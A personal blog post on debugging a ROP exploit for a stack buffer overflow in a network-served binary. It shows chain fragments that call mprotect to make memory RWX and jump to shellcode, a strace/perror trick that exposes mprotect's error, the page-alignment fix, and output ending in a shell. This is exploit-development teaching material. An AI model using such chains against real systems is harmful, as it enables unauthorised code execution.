about:blog Archives

reversing, python, cookies
Friends: aj deadrom1 fr33tux kiwie


Debugging ROP like a pro

I was trying to exploit a stack-based buffer overflow in a binary that was supposed to be run on the network, but my exploit kept crashing after the mprotect call, and it couldn't be an offset issues, since I spent time making sure that it wasn't, by returning to an invalid address like 0x42424242.

It was a classic ROP payload, that wrote my payload somewhere, called mprotect, and finally jumped to it. But it was crashing with a segfault:

Oct 29 01:26:35 kaa kernel: [90302.119608] original[29004]: segfault at 8049530 ip 0000000008049530 sp 00000000ffffd43c error 15 in original[8049000+1000]

This is the relevant part of my exploit:

print('[+] Sending stage2 (call)')
s.send(rop(
    readplt,
    pop3ret,
    0,
    write_addr,
    512,

    mprotect,
    pop3ret,
    write_addr,
    512,
    1 | 2 | 4,  # RWX

    write_addr
))

I was using socat to run it:

socat TCP-LISTEN:2323,reuseaddr,fork EXEC:./mybinary

By the way, can you guess what is wrong (there is not badchars)?

I could of course modify my exploit to be runnable inside GDB with some trickery. Unfortunately, I had to leak some offset, involving some ping-pong between the binary and my exploit. This is at best awkward to do in GDB. Of course I could disable ASLR, but this is not elegant, nor practical for some binaries.

Instead, (thanks again to crowell for the idea), I kept my original payload, but ran the binary under strace(1), filtering on write(2), and returned to perror(3):

s.send(rop(
    readplt,  # read our shellcode into memory
    pop3ret,
    0,
    write_addr,
    512,

    mprotect,  # mark it rwx
    pop3ret,
    write_addr,
    512,
    1 | 2 | 4,  # RWX

    perror,  # get mprotect's error
    popret,
    0,

    write_addr  # jump to our shellcode
))
$ socat TCP-LISTEN:2323,reuseaddr,fork EXEC:'strace -e trace=write ./mybinary'
[ Process PID=30062 runs in 32 bit mode. ]
write(1, "\2601\356\367", 4)            = 4
write(3, "Invalid argument\n", 17Invalid argument
)      = 17
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_ACCERR, si_addr=0x8049530} ---
+++ killed by SIGSEGV (core dumped) +++

Way more readable!

So, it seems that we're providing an "Invalid argument" to mprotect. A quick glance to the manpage (that I should have read in the first place) tells use that: * addr must be aligned to a page boundary.*.

$ getconf PAGE_SIZE
4096

So, here is the correct code:

write_addr -= (write_addr % 4096)

s.send(rop(
    readplt,
    pop3ret,
    0,
    write_addr,
    512,

    mprotect,
    pop3ret,
    write_addr,
    512,
    1 | 2 | 4,  # RWX

    perror,
    popret,
    0,

    write_addr  # jump to our shellcode
))

And that's it:

$ python exploit4.py
[+] Sending stage1 (leak)
[*] GOT at 0xf7ee31b0
[*] mprotect at 0xf7eef2d0
[*] read at 0xf7eef5c3
[+] Sending stage2 (call)
[+] sending stage3 (payload)
$ id
uid=1000(jvoisin) gid=1000(jvoisin) groups=1000(jvoisin),4(adm),11(lpadmin),27(sudo),30(dip),46(plugdev)
$